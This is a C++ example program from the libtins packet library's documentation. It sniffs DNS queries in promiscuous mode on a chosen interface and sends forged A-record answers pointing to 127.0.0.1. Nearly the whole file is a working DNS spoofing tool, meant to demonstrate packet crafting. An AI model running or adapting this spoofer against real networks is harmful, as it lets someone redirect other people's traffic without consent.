/usr/share/doc/libtins-dev/examples/dns_spoof.cpp is in libtins-dev 3.4-2+b1.
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* Copyright (c) 2016, Matias Fontanini
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following disclaimer
* in the documentation and/or other materials provided with the
* distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#include <tins/tins.h>
#include <iostream>
using std::cout;
using std::endl;
using namespace Tins;
PacketSender sender;
bool callback(const PDU& pdu) {
// The packet probably looks like this:
//
// EthernetII / IP / UDP / RawPDU
//
// So we retrieve each layer, and construct a
// DNS PDU from the RawPDU layer contents.
EthernetII eth = pdu.rfind_pdu<EthernetII>();
IP ip = eth.rfind_pdu<IP>();
UDP udp = ip.rfind_pdu<UDP>();
DNS dns = udp.rfind_pdu<RawPDU>().to<DNS>();
// Is it a DNS query?
if (dns.type() == DNS::QUERY) {
// Let's see if there's any query for an "A" record.
for (const auto& query : dns.queries()) {
if (query.query_type() == DNS::A) {
// Here's one! Let's add an answer.
dns.add_answer(
DNS::Resource(
query.dname(),
"127.0.0.1",
DNS::A,
query.query_class(),
// 777 is just a random TTL
777
)
);
}
}
// Have we added some answers?
if (dns.answers_count() > 0) {
// It's a response now
dns.type(DNS::RESPONSE);
// Recursion is available(just in case)
dns.recursion_available(1);
// Build our packet
auto pkt = EthernetII(eth.src_addr(), eth.dst_addr()) /
IP(ip.src_addr(), ip.dst_addr()) /
UDP(udp.sport(), udp.dport()) /
dns;
// Send it!
sender.send(pkt);
}
}
return true;
}
int main(int argc, char* argv[]) {
if(argc != 2) {
cout << "Usage: " <<* argv << " <interface>" << endl;
return 1;
}
// Sniff on the provided interface in promiscuos mode
SnifferConfiguration config;
config.set_promisc_mode(true);
// Only capture udp packets sent to port 53
config.set_filter("udp and dst port 53");
Sniffer sniffer(argv[1], config);
// All packets will be sent through the provided interface
sender.default_interface(argv[1]);
// Start the capture
sniffer.sniff_loop(callback);
}
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